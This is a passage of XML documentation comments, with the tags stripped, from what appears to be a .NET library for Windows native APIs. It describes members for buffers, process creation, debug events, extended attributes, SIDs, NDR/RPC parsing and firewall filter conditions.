type to use in the structure buffer. + The value to initialize the buffer with. + The new structure buffer. + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + The new structure buffer. + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + Additional byte data after the structure. + Indicates if additional_size includes the structure size or not. + The new structure buffer. + + + + Create a buffer based on a byte array. + + The byte array for the buffer. + The safe buffer. + + + + Create an buffer from an array. + + The array element type, must be a value type. + The array of elements. + The allocated array buffer. + + + + Read a NUL terminated string for the byte offset. + + The buffer to read from. + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated byte string for the byte offset. + + The buffer to read from. + The byte offset to read from. + Text encoding for the string. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string for the byte offset. + + The buffer to read from. + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a char array with length. + + The buffer to read from. + The number of characters to read. + The byte offset to read from. + The chars read from the buffer + + + + Read a Unicode string string with length. + + The buffer to read from. + The number of characters to read. + The byte offset to read from. + The string read from the buffer. + + + + Write char array. + + The buffer to write to. + The byte offset to write to. + The chars to write. + + + + Write unicode string. + + The buffer to write to. + The byte offset to write to. + The string value to write. + + + + Read bytes from buffer. + + The buffer to read from. + The byte offset to read from. + The number of bytes to read. + The byte array. + + + + Write bytes to a buffer. + + The buffer to write to. + The byte offset to write to. + The data to write. + + + + Get a structure buffer at a specific offset. + + The type of structure. + The buffer to map. + The offset into the buffer. + The structure buffer. + The returned buffer is not owned, therefore you need to maintain the original buffer while operating on this buffer. + + + + Creates a view of an existing safe buffer. + + The buffer to create a view on. + The offset from the start of the buffer. + The length of the view. + The buffer view. + Note that the returned buffer doesn't own the memory, therefore the original buffer + must be maintained for the lifetime of this buffer. + + + + Creates a view of an existing safe buffer. + + The buffer to create a view on. + The offset from the start of the buffer. + The length of the view. + True to make the view writable, false for read-only. + The buffer view. + Note that the returned buffer doesn't own the memory, therefore the original buffer + must be maintained for the lifetime of this buffer. + + + + Zero an entire buffer. + + The buffer to zero. + + + + Fill an entire buffer with a specific byte value. + + The buffer to full. + The fill value. + + + + Compare two buffers for equality. + + The left buffer. + The offset into the left buffer. + The right buffer. + The offset into the right buffer. + The length to compare. + True if the buffers are equal. + + + + Compare a buffer and a byte array for equality. + + The buffer. + The offset into the left buffer. + The compare byte array. + True if the buffers are equal. + + + + Find a byte array in a buffer. Returns all instances of the compare array. + + The buffer to find the data in. + Start offset in the buffer. + The comparison byte array. + A list of offsets into the buffer where the compare was found. + + + + Find a byte array in a buffer. Returns all instances of the compare array. + + The buffer to find the data in. + The comparison byte array. + A list of offsets into the buffer where the compare was found. + + + + Class to represent a Security Atttribute. + + + + + The name of the attribute. + + + + + The type of values. + + + + + The attribute flags. + + + + + The list of values. + + + + + The count of values. + + + + + Convert the attribute to a builder to modify it. + + The builder object. + + + + Convert the security attribute to an SDDL string. + + The security attribute as an SDDL string. + + + + Converts the attribute to a Resource Attribute ACE. + + The resource attribute ACE. + + + + Class to create a new user process using the native APIs. + + + + + Path to the executable to start. + + + + + Path to the executable to start which is passed in the process configuration. + + + + + Command line + + + + + Prepared environment block. + + + + + Title of the main window. + + + + + Path to DLLs. + + + + + Current directory for new process + + + + + Desktop information value + + + + + Shell information value + + + + + Runtime data. + + + + + Prohibited image characteristics for new process + + + + + Additional file access for opened executable file. + + + + + Process create flags. + + + + + Thread create flags. + + + + + Initialization flags + + + + + Parent process. + + + + + Restrict new child processes + + + + + Override restrict child process + + + + + Extra process/thread attributes + + + + + Added protected process protection level. + + The type of protected process. + The signer level. + + + + Return on error instead of throwing an exception. + + + + + Whether to terminate the process on dispose. + + + + + Specify a security descriptor for the process. + + + + + Specify a security descriptor for the initial thread. + + + + + Specify the primary token for the new process. + + + + + Access for process handle. + + + + + Access for thread handle. + + + + + Constructor + + + + + For the current process + + The new forked process result + + + + For the current process + + Process create flags. + Thread create flags. + The new forked process result + + + + For the current process + + Process create flags. + Thread create flags. + True to throw on error. + The new forked process result + + + + Start the new process based on the ImagePath parameter. + + The result of the process creation + + + + Start the new process + + The image path to the file to execute + The result of the process creation + + + + Result from a native create process call. + + + + + Handle to the process + + + + + Handle to the initial thread + + + + + Handle to the image file + + + + + Handle to the image section + + + + + Handle to the IFEO key (if it exists) + + + + + Image information + + + + + Client ID of process and thread + + + + + Process ID + + + + + Thread ID + + + + + Create status + + + + + True if create succeeded + + + + + Result of the create information + + + + + Creation state + + + + + Terminate the process + + Exit code for termination + + + + Resume initial thread + + The suspend count + + + + Set to true to terminate process on disposal + + + + + Finalizer + + + + + Dispose + + + + + The base class for a debug event. + + + + + Process ID for the event. + + + + + Thread ID for the event. + + + + + The event code. + + + + + Constructor. + + The current debug event. + The debug port associated with this event. + + + + Continue the debugged process. + + The continue status code. + True to throw on error. + The NT status code. + + + + Continue the debugged process. + + The continue status code. + + + + Continue the debugged process with a success code. + + + + + Dispose the event. + + + + + Debug event for the Create Process event. + + + + + Subsystem key for the process. + + + + + Handle to the process file (if available). + + + + + Base of image file. + + + + + Debug info file offset. + + + + + Debug info file size. + + + + + Subsystem key for the thread. + + + + + Start address of the thread. + + + + + Handle to the process (if available). + + + + + Handle to the thread (if available). + + + + + Dispose the event. + + + + + Debug event for the Create Thread event. + + + + + Subsystem key for the thread. + + + + + Start address of the thread. + + + + + Handle to the thread (if available). + + + + + Dispose the event. + + + + + Debug event for the Exit Thread event. + + + + + Exit status code. + + + + + Debug event for the Exit Process event. + + + + + Exit status code. + + + + + Debug event for load DLL event. + + + + + DLL file handle. + + + + + Base of loaded DLL. + + + + + Debug info offset. + + + + + Debug info size. + + + + + Address of name. + + + + + Dispose the event. + + + + + Debug event for unload DLL event. + + + + + Base of loaded DLL. + + + + + Debug event for exception event. + + + + + Indicates if this is a first chance exception. + + + + + Exception code. + + + + + Exception flags. + + + + + Pointer to next exception in the chain. + + + + + Address of exception. + + + + + Additional parameters for exception. + + + + + Debug event when we don't handle the state. + + + + + The raw debug event. + + + + + Represents a list where the elements can be trivially disposed in one go. + + An IDisposable implementing type + + + + Constructor + + + + + Constructor + + The initial capacity of the list + + + + Constructor + + A collection to initialize the list + + + + Add a resource to the list and return a reference to it. + + The type of resource to add. + The resource object. + The added resource. + + + + Add a resource to the list and return a reference to it. + + The type of resource to add. + The added resource. + + + + Convert this list to an array then clear it to the disposal no longer happens. + + The elements as an array. + After doing this the current list will be cleared. + + + + Detach a detachable reference and add it to the list. + + The type of resource to detach. + The detached resource. + + + + Dispose method + + + + + Implementation of disposable list which just accepts IDisposable objects. + + + + + Constructor + + + + + Constructor + + The initial capacity of the list + + + + Constructor + + A collection to initialize the list + + + + Adds a delegate which will be called when the list is disposed. + + The delegate to call on dispose. + This can be used to add more complex disposable. + + + + Disposable list of safe handles + + + + + Constructor + + + + + Constructor + + The initial capacity of the list + + + + Constructor + + A collection to initialize the list + + + + Move the handle list to a new disposable list. + + The list of handles which have been moved. + After doing this the current list will be cleared. + + + + Flags for an EA entry + + + + + No flags. + + + + + Processor must handle this EA. + + + + + A single EA entry. + + + + + Name of the entry + + + + + Data associated with the entry + + + + + Flags + + + + + Constructor + + The name of the entry + Data associated with the entry + Flags for entry. + + + + Constructor + + The name of the entry + Data associated with the entry + Flags for entry. + + + + Constructor + + The name of the entry + Data associated with the entry + Flags for entry. + + + + Get the EA buffer data as a string. + + The data as a string. + + + + Get the EA buffer data as an Int32. + + The data as an Int32. + + + + Convert entry to a string + + The entry as a string + + + + Class to create an Extended Attributes buffer for NtCreateFile + + + + + Constructor + + + + + Constructor + + List of entries to add. + + + + Constructor from a binary EA buffer + + The EA buffer to parse + + + + Constructor + + Existing buffer to copy. + + + + Add a new EA entry from an old entry. The data will be cloned. + + The entry to add. + + + + Add a new EA entry + + The name of the entry + The associated data, will be cloned + The entry flags. + + + + Add a new EA entry + + The name of the entry + The associated data + The entry flags. + + + + Add a new EA entry + + The name of the entry + The associated data + The entry flags. + + + + Get an entry by name. + + The name of the entry. + The found entry. + Thrown if no entry by that name. + + + + Remove an entry from the buffer. + + The entry to remove. + + + + Remove an entry from the buffer by name. + + The name of the entry. + Thrown if no entry by that name. + + + + Convert to a byte array + + The byte array + + + + Get the list of entries. + + + + + Get number of entries. + + + + + Get whether the buffer contains a specific entry. + + The name of the entry. + True if the buffer contains an entry with the name. + + + + Index to get an entry by name. + + The name of the entry. + The found entry. + Thrown if no entry by that name. + + + + Clear all entries. + + + + + Access rights generic mapping. + + + + + Mapping for Generic Read + + + + + Mapping for Generic Write + + + + + Mapping for Generic Execute + + + + + Mapping for Generic All + + + + + Map a generic access mask to a specific one. + + The generic mask to map. + The mapped mask. + + + + Get whether this generic mapping gives read access. + + The mask to check against. + True if we have read access. + + + + Get whether this generic mapping gives write access. + + The mask to check against. + True if we have write access. + + + + Get whether this generic mapping gives execute access. + + The mask to check against. + True if we have execute access. + + + + Get whether this generic mapping gives all access. + + The mask to check against. + True if we have all access. + + + + Try and unmap access mask to generic rights. + + The mask to unmap. + The unmapped mask. Any access which can be generic mapped is left in the mask as specific rights. + + + + Get the allowed access mask for a specified mandatory access policy. + + The mandatory access policy. + The allowed access mask for the policy. + In general NoWriteUp will always be set on the policy. + + + + Convert generic mapping to a string. + + The generic mapping as a string. + + + + Interface to abstract the kernel transaction manager support. + + + + + Get handle for the transaction. + + + + + Commit the transaction + + + + + Rollback the transaction + + + + + Enable the transaction for anything in the current thread context. + + The transaction context. This should be disposed to disable the transaction. + + + + Class to represent a mount point. + + + + + Symbolic link name. + + + + + Unique ID. + + + + + Device name. + + + + + Class to access mount point manager utilities. + + + + + Query the list of mount points. + + True to throw on error. + The list of mount points. + + + + Query the list of mount points. + + The list of mount points. + + + + Class to represent the USN journal data. + + + + + Flags for the USN journal change reason. + + + + + Class to represent a USN journal record. + + + + + Reference number of the file. + + + + + Reference number of the parent. + + + + + USN value. + + + + + Timestamp of entry. + + + + + Reason code. + + + + + Source info flags. + + + + + Security ID. + + + + + File attributes. + + + + + Filename. + + + + + Full path, if known. + + + + + Full Win32Path if known. + + + + + Flags for USN journal source information. + + + + + Class for methods relating to USN journal. + + + + + Read USN journal information. + + The handle to the volume to query. + True to throw on error. + The USN journal information. + + + + Read USN journal information. + + The handle to the volume to query. + The USN journal information. + + + + Read USN journal entries from the volume. + + The volume to read. + The start USN to read. + Last USN to read, exclusive. + Mask for what records to read. + The list of USN journal entries. + + + + Read all USN journal entries from the volume. + + The volume to read. + The list of USN journal entries. + + + + Read USN journal entries from the volume, unprivileged. + + The volume to read. + The start USN to read. + Last USN to read, exclusive. + Mask for what records to read. + The list of USN journal entries. + + + + Read USN journal entries from the volume, unprivileged. + + The volume to read. + The list of USN journal entries. + + + + An enumeration to reference a known SID. + + + + + NULL SID + + + + + Everyone SID + + + + + Local user SID + + + + + CREATOR OWNER SID + + + + + CREATOR GROUP SID + + + + + CREATOR OWNER SERVER SID + + + + + CREATOR OWNER SERVER SID + + + + + Service SID + + + + + ANONYMOUS LOGON SID + + + + + Authenticated Users SID + + + + + RESTRICTED SID + + + + + LOCAL SYSTEM SID + + + + + LOCAL SERVICE SID + + + + + NETWORK SERVICE SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES + + + + + NT SERVICE\TrustedInstaller + + + + + BUILTIN\Users + + + + + BUILTIN\Administrators + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection, including incoming connections from the Internet + + + + + APPLICATION PACKAGE AUTHORITY\Your home or work networks + + + + + APPLICATION PACKAGE AUTHORITY\Your pictures library + + + + + APPLICATION PACKAGE AUTHORITY\Your videos library + + + + + APPLICATION PACKAGE AUTHORITY\Your music library + + + + + APPLICATION PACKAGE AUTHORITY\Your documents library + + + + + APPLICATION PACKAGE AUTHORITY\Your Windows credentials + + + + + APPLICATION PACKAGE AUTHORITY\Software and hardware certificates or a smart card + + + + + APPLICATION PACKAGE AUTHORITY\Removable storage + + + + + APPLICATION PACKAGE AUTHORITY\Your Appointments + + + + + APPLICATION PACKAGE AUTHORITY\Your Contacts + + + + + APPLICATION PACKAGE AUTHORITY\Internet Explorer + + + + + Constrained Impersonation Capability + + + + + OWNER RIGHTS + + + + + NT AUTHORITY\SELF + + + + + NT AUTHORITY\WRITE RESTRICTED + + + + + BUILTIN\BUILTIN + + + + + NT AUTHORITY\INTERACTIVE + + + + + NT AUTHORITY\DIALUP + + + + + NT AUTHORITY\NETWORK + + + + + NT AUTHORITY\BATCH + + + + + NT AUTHORITY\PROXY + + + + + Static methods to get some known SIDs. + + + + + NULL SID + + + + + Everyone SID + + + + + Local user SID + + + + + CREATOR OWNER SID + + + + + CREATOR GROUP SID + + + + + CREATOR OWNER SERVER SID + + + + + CREATOR OWNER SERVER SID + + + + + Service SID + + + + + ANONYMOUS LOGON SID + + + + + Authenticated Users SID + + + + + RESTRICTED SID + + + + + NT AUTHORITY\WRITE RESTRICTED + + + + + BUILTIN\BUILTIN + + + + + NT AUTHORITY\INTERACTIVE + + + + + NT AUTHORITY\DIALUP + + + + + NT AUTHORITY\NETWORK + + + + + NT AUTHORITY\BATCH + + + + + NT AUTHORITY\PROXY + + + + + LOCAL SYSTEM SID + + + + + LOCAL SERVICE SID + + + + + NETWORK SERVICE SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES + + + + + NT SERVICE\TrustedInstaller + + + + + BUILTIN\Users + + + + + BUILTIN\Administrators + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection, including incoming connections from the Internet + + + + + APPLICATION PACKAGE AUTHORITY\Your home or work networks + + + + + APPLICATION PACKAGE AUTHORITY\Your pictures library + + + + + APPLICATION PACKAGE AUTHORITY\Your videos library + + + + + APPLICATION PACKAGE AUTHORITY\Your music library + + + + + APPLICATION PACKAGE AUTHORITY\Your documents library + + + + + APPLICATION PACKAGE AUTHORITY\Your Windows credentials + + + + + APPLICATION PACKAGE AUTHORITY\Software and hardware certificates or a smart card + + + + + APPLICATION PACKAGE AUTHORITY\Removable storage + + + + + APPLICATION PACKAGE AUTHORITY\Your Appointments + + + + + APPLICATION PACKAGE AUTHORITY\Your Contacts + + + + + APPLICATION PACKAGE AUTHORITY\Internet Explorer + + + + + Constrained Impersonation Capability + + + + + Get a known SID based on a specific enumeration. + + The enumerated sid value. + + + + + Class to represent an Access Control Entry for a Mandatory Label. + + + + + Constructor. + + Flags for the ACE. + The mandatory label policy. + The integrity level. + + + + Constructor from a raw integrity level. + + Flags for the ACE. + The mandatory label policy. + The integrity level sid. + + + + The policy for the mandatory label. + + + + + Get or set the integrity level + + + + + Convert ACE to a string. + + + + + + Class which represents a mapped file. + + + + + Native path to file. + + + + + Name of the file. + + + + + List of mapped sections. + + + + + Mapped base address of file. + + + + + Mapped size of file. + + + + + True if the mapped file is an image section. + + + + + Specified the signing level if an image (only on RS3+). + + + + + Class to represent memory information. + + + + + Base address of memory region. + + + + + Allocation base for memory region. + + + + + Initial allocation protection. + + + + + Region size. + + + + + Memory state. + + + + + Current memory protection. + + + + + Memory type. + + + + + The mapped image path, if an image. + + + + + The mapped image path name, if an image. + + + + + The region type. + + + + + Is this a software enclave. + + + + + Interface for a marshalled NDR conformant structure. + + This interface is primarily for internal use only. + + + + Gets the number of conformant dimensions, should be at least one. + + The number of conformant dimensions. + + + + Interface for a marshalled non-encapsulated NDR union. + + This interface is primarily for internal use only. + + + + Marshal the union to a stream. + + The selector for union arm. + The marshal stream. + + + + Interface for a marshalled NDR structure. + + This interface is primarily for internal use only. + + + + Marshal the stucture to a stream. + + The marshal stream. + + + + Unmarshal the structure from a stream. + + The unmarshal stream. + + + + Get the structure's alignment. + + + + + + Structure to represent a context handle. + + + + + Context handle attributes. + + + + + Context handle UUID. + + + + + Constructor. + + Context handle attributes. + Context handle UUID. + + + + Overidden ToString method. + + The handle as string. + + + + NDR integer representation. + + + + + NDR character representation. + + + + + NDR floating point representation. + + + + + Definition of the NDR data representation for an NDR stream. + + + + + The integer representation of the NDR data. + + + + + The character representation of the NDR data. + + + + + The floating representation of the NDR data. + + + + + A class which represents an embedded pointer. + + The underlying type. + + + + Operator to convert from a value to an embedded pointer. + + The value to point to. + + + + Operator to convert from an embedded pointer to a value. + + The embedded pointer. + + + + Overridden ToString method. + + The string form of the value. + + + + Get the value from the embedded pointer. + + The value of the pointer. + + + + Structure to represent an empty value. + + + + + Class to represent a 16 bit enumerated type. + + + + + Value of the structure. + + + + + Constructor. + + + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Equality operator. + + The left value. + The right value. + True if the values are equal. + + + + Inequality operator. + + The left value. + The right value. + True if the values are not-equal. + + + + Overridden ToString. + + The value as a string. + + + + ToString method. + + The formatting string. + The value as a string. + + + + IFormattable ToString. + + The formatting string. + Formatting provider. + The value as a string. + + + + Equals operator. + + The other enum16. + True if the values are equal. + + + + Compare + + + + + + + Overridden GetHashCode. + + The hash code of the enumeration. + + + + Structure which represents an NDR FC_INT3264 + + + + + Value of the structure. + + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Convert to a native IntPtr. + + The value to convert from. + + + + Overridden ToString. + + The value as a string. + + + + ToString method. + + The formatting string. + The value as a string. + + + + IFormattable ToString. + + The formatting string. + Formatting provider. + The value as a string. + + + + Structure which represents an NDR FC_UINT3264 + + + + + Value of the structure. + + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Convert to a native IntPtr. + + The value to convert from. + + + + Overridden ToString. + + The value as a string. + + + + ToString method. + + The formatting string. + The value as a string. + + + + IFormattable ToString. + + The formatting string. + Formatting provider. + The value as a string. + + + + Class to represent an NDR interface pointer. + + + + + The marshaled interface data. + + + + + Constructor. + + The marshaled interface data. + + + + A buffer to marshal NDR data to. + + This class is primarily for internal use only. + + + + Represents an NDR pickled type. + + + + + Constructor from a type 1 serialized buffer. + + The type 1 serialized encoded buffer. + + + + Convert the pickled type to a type 1 serialized encoded buffer. + + The type 1 serialized encoded buffer. + + + + Type for a synchronous NDR pipe. + + The base type of pipe blocks. + + + + The list of blocks for the pipe. + + + + + Constructor. + + The list of blocks to return. + + + + Constructor. + + A single block to return. + + + + Convert the pipe blocks to a flat array. + + The flat array. + + + + A buffer to unmarshal NDR data from. + + This class is primarily for internal use only. + + + + Place holder for unsupported types. + + + + + Class to represent a single COM proxy definition. + + + + + The name of the proxy interface. + + + + + The IID of the proxy interface. + + + + + The base IID of the proxy interface. + + + + + The number of dispatch methods on the interface. + + + + + List of parsed procedures for the interface. + + + + + Creates a proxy definition from a list of procedures. + + The name of the proxy interface. + The IID of the proxy interface. + The base IID of the proxy interface. + The total dispatch count for the proxy interface. + The list of parsed procedures for the proxy interface. + + + + + Expression element. + + + + + Overridden ToString method. + + The expression as a string. + + + + The expression type. + + + + + Is this operator element valid. + + + + + Operator expression element. + + + + + NDR format type of element. + + + + + NDR format type of element. + + + + + Offset, used for OP_EXPRESSION. + + + + + Parsed arguments. + + + + + Overridden ToString method. + + The expression as a string. + + + + Variable expression element. + + + + + Offset of the variable. + + + + + NDR format type of element. + + + + + Overridden ToString method. + + The expression as a string. + + + + Expression element. + + + + + NDR format type of element. + + + + + Offset of the variable. + + + + + The value of the constant. + + + + + Overridden ToString method. + + The expression as a string. + + + + An interface which can be implemented to handle formatting parsed NDR data. + + + + + Format a complex type using the current formatter. + + The complex type to format. + The formatted complex type. + + + + Format a procedure using the current formatter. + + The procedure to format. + The formatted procedure. + + + + Format a COM proxy using the current formatter. + + The COM proxy to format. + The formatted COM proxy. + + + + Format an RPC server interface using the current formatter. + + The RPC server. + The formatted RPC server interface. + + + + An base class which describes a text formatter for NDR data. + + + + This formatter generates data that the CPP compiler can (hopefully) understand, + at least it will serve as a good skeleton to support spinning up new projects easily. + + + + + Flags for the NDR formatter. + + + + + No flags. + + + + + Don't emit comments. + + + + + Default NDR formatter constructor. + + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + Formatter flags. + The default formatter. + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + The default formatter. + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + Formatter flags. + The default formatter. + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + The default formatter. + + + + Create the default formatter. + + Formatter flags. + The default formatter. + + + + Create the default formatter. + + The default formatter. + + + + NDR formatter constructor for CPP style output. + + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + Formatter flags. + The CPP formatter. + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + The CPPformatter. + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + Formatter flags. + The CPP formatter. + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + The CPP formatter. + + + + Create the default formatter. + + Formatter flags. + The CPP formatter. + + + + Create the default formatter. + + The CPP formatter. + + + + Flags for the parser. + + + + + No flags. + + + + + Ignore processing any complex user marshal types. + + + + + Resolve structure names, required private symbols. + + + + + Class to parse NDR data into a structured format. + + + + + Constructor. + + Memory reader to parse from. + Process to read from. + Specify a symbol resolver to use for looking up symbols. + Flags which affect the parsing operation. + + + + Constructor. + + Process to parse from. + Specify a symbol resolver to use for looking up symbols. + + + + Constructor. + + Process to parse from. + Specify a symbol resolver to use for looking up symbols. + Flags which affect the parsing operation. + + + + Constructor. + + Specify a symbol resolver to use for looking up symbols. + + + + Constructor. + + Process to parse from. + + + + Constructor. + + + + + Read COM proxy information from a ProxyFileInfo structure. + + The address of the ProxyFileInfo structure. + The list of parsed proxy definitions. + + + + Read COM proxy information from an array of pointers to ProxyFileInfo structures. + + The address of an array of pointers to ProxyFileInfo structures. The last pointer should be NULL. + The list of parsed proxy definitions. + + + + Read COM proxy information from a file. + + The path to the DLL containing the proxy. + Optional CLSID for the proxy class. + List of IIDs to parse. + The list of parsed proxy definitions. + + + + Read COM proxy information from a file. + + The path to the DLL containing the proxy. + Optional CLSID for the proxy class. + The list of parsed proxy definitions. + + + + Read COM proxy information from a file. + + The path to the DLL containing the proxy. + The list of parsed proxy definitions. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. + + Pointer to the RPC_SERVER_INTERFACE. + The parsed NDR content. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. + + Pointer to the RPC_SERVER_INTERFACE. + Base address of the library which contains the interface. + The parsed NDR content. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. Deprecated. + + Pointer to the RPC_SERVER_INTERFACE. + The parsed NDR content. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. + + The path to a DLL containing the RPC_SERVER_INTERFACE. + Offset to the RPC_SERVER_INTERFACE from the base of the DLL. + The parsed NDR content. + + + + Parse NDR procedures from an MIDL_SERVER_INFO structure in memory. + + Pointer to the MIDL_SERVER_INFO. + Number of dispatch functions to parse. + The start offset to parse from. This is used for COM where the first few proxy stubs are not implemented. + List of names for the valid procedures. Should either be null or a list equal in size to dispatch_count - start_offset. + The parsed NDR content. + + + + Parse NDR procedures from an MIDL_SERVER_INFO structure in memory. + + Pointer to the MIDL_SERVER_INFO. + Number of dispatch functions to parse. + The start offset to parse from. This is used for COM where the first few proxy stubs are not implemented. + The parsed NDR content. + + + + List of parsed types from the NDR. + + + + + List of parsed complex types from the NDR. + + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Pointers to the the format string to the start of the types. + Specify additional parser flags. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third, the Type Offsets is the fourth parameter. + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUBLESS_PROXY_INFO structure. + Pointer to the type pickling offset table. + Index into type_pickling_offset_table array. + Specify additional parser flags. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode3. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUBLESS_PROXY_INFO is the third, the type pickling offset table is the fourth and the type index is the fifth. + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Offsets into the format string to the start of the types. + Specify additional parser flags. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third (minus the offset). + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Offsets into the format string to the start of the types. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third (minus the offset). + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Offsets into the format string to the start of the types. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third (minus the offset). + + + + Exception thrown when NDR parsing fails. + + + + + Constructor. + + Exception message. + + + + Constructor. + + Exception message. + Inner exception to wrap. + + + + Class respresenting an RPC protocol sequence. + + + + + The protocol sequence for the endpoint. + + + + + The endpoint name. + + + + + A parsed NDR RPC_SERVER_INTERFACE structure. + + + + + The RPC interface GUID. + + + + + The RPC interface version. + + + + + The RPC transfer syntax GUID. + + + + + The RPC transfer syntax version. + + + + + List of parsed procedures. + + + + + List of protocol sequences. + + + + + Overridden ToString method. + + The string form of this class. + + + + NDR format character. + + + + + Class to build text strings for an NDR formatter. + + + + + Push an indent string on to the indent stack. + + The string to indent any new lines. + The current builder instance. + + + + Push an indent on to the indent stack. + + The character to indent with. + The number of indent characters. + The current builder instance. + + + + Pop the current indent off the indent stack. + + The current builder instance. + + + + Append a string to the builder. + + The string to append. + The current builder instance. + + + + Append a formatted string to the builder. + + The string format. + The array of arguments to the formatter. + The current builder instance. + + + + Append a new line to the builder. + + The current builder instance. + + + + Append a string to the builder with a new line. + + The string to append. + The current builder instance. + + + + Append a formatted string to the builder with a new line. + + The string format. + The array of arguments to the formatter. + The current builder instance. + + + + Overridden ToString method, returns the current state of the builder. + + The current stated of the builder. + + + + Utilities for NDR marshaling. + + + + + Specify NDR marshaler trace level. + + Specify the NDR marshaler trace level. + Verbose marshal stack details. + + + + Datalink address type. + + + + + Access rights for a firewall object. + + + + + Represents a firewall address and mask. + + + + + The IP address. + + + + + The mask. + + + + + Mask prefix length. + + + + + Overridden ToString method. + + The value and mask as a string. + + + + Address family when IP protocol is not specified. + + + + + IPv4 + + + + + IPv6 + + + + + Ethernet + + + + + None + + + + + Class to represent a firewall ALE endpoint. + + + + + The ID of the endpoint. + + + + + The local endpoint. + + + + + The remote endpoint. + + + + + The protocol type. + + + + + The LUID for the token associated with the endpoint. + + + + + The IPsec security association identifier. + + + + + The IPsec security association identifier to expire. + + + + + The IPsec status of the endpoint. + + + + + Flags. + + + + + Associated application. + + + + + Filename of AppId. + + + + + Enumeration for ALE layer types. + + + + + Class to represent a firewall callout object. + + + + + Flags for the callout. + + + + + Provider key. + + + + + Provider data. + + + + + Applicable layer key. + + + + + Callout ID. + + + + + Flags for a firewall callout. + + + + + Guids for pre-defined callouts. + + + + + Flags for classify output. + + + + + Class to represet the result of a classify operations. + + + + + Action type of the classify result. + + + + + Internal context. + + + + + ID of the filter. + + + + + Associated rights. + + + + + Classify flags. + + + + + Base class to implement common condition building operations. + + + + + Specify list of firewall filter conditions. + + + + + Add a condition. + + The match type for the condition. + The field key for the condition. + The value for the condition. + + + + Add a condition range. + + The field key for the condition. + The low value for the range. + The high value from the range. + + + + Add an executable filename condition. + + The match type for the condition. + The path to the file to use. + + + + Add an App ID condition. + + The match type for the condition. + The path to the file already converted to absolute format. + + + + Add a user ID security descriptor condition. + + The match type for the condition. + The security descriptor. + + + + Add a remote user ID security descriptor condition. + + The match type for the condition. + The security descriptor. + + + + Add a remote machine ID security descriptor condition. + + The match type for the condition. + The security descriptor. + + + + Add a IP protocol type condition. + + The match type for the condition. + The protocol type for the condition. + + + + Add a conditions flag condition. + + The match type for the condition. + The flags for the condition. + + + + Add IP address. + + The match type for the condition. + True to specify remote, false for local. + The low IP address. + + + + Add IP address range. + + True to specify remote, false for local. + The low IP address. + The high IP address. + + + + Add port range. + + True to specify remote, false for local. + The low port. + The high port. + + + + Add port. + + The match type for the condition. + True to specify remote, false for local. + The port. + + + + Add an IP endpoint. + + The match type for the condition. + True to specify remote, false for local. + The IP endpoint. + + + + Add token information. + + The match type. + The token. + + + + Add remote token information. + + The match type. + The token. + + + + Add remote machine token information. + + The match type. + 